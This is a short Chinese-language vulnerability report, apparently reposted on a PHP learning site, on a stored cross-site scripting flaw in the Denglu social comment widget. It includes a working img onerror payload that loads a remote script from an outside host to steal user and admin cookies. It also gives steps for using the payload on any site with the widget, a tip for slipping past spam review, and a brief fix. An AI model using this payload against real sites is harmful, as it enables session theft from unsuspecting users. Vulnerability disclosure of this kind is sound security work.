来源：自学PHP网 时间：2015-04-17 12:00 作者： 阅读:次
[导读] 一、约定词解释和说明灯鹭社会化评论框：http://www.denglu.cc/demo.html二、说明灯鹭社会化评论框在直接输入script的情况下是无效的。但目前推出允许插入图片的代码，竟然是以html模式支持...
|
一、约定词解释和说明
灯鹭社会化评论框：http://www.denglu.cc/demo.html
二、说明
灯鹭社会化评论框在直接输入script的情况下是无效的。
但目前推出允许插入图片的代码，竟然是以html模式支持的。
所以，可以用各种on来xss，目前可以跨到当前灯鹭登录前后台用户的cookies（暂无实验可否非同源ip访问）；但由于不擅长前端，所以暂时跨不到被嵌入页面的cookies。
三、评级依据
由于社会化登录嵌入多个网站，可能会对被嵌入网站造成影响，然后还有因为实在太困了.....故评级为中。
1、找到任一使用灯鹭社会化评论框的网站
2、输入如下代码：
<img src="asfsd" onerror='this.onerror=null;this.src="";var s=document.createElement("script");s.charset = "UTF-8";s.src="http:// www.2cto.com /zlOm4ZH";document.body.appendChild(s);' />
求快速效果的，就不能出现2个及以上的url，否则会被列入垃圾评论进行审核列表。
3、效果
前台（被嵌入页面），暂时跨不到被嵌入页面的cookies：
 open.denglu.cc评论管理后台，用这个cookies可以登录到后台否？太晚没测试了：
 修复方案：
换UBB，并且限制img内的可用属性 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
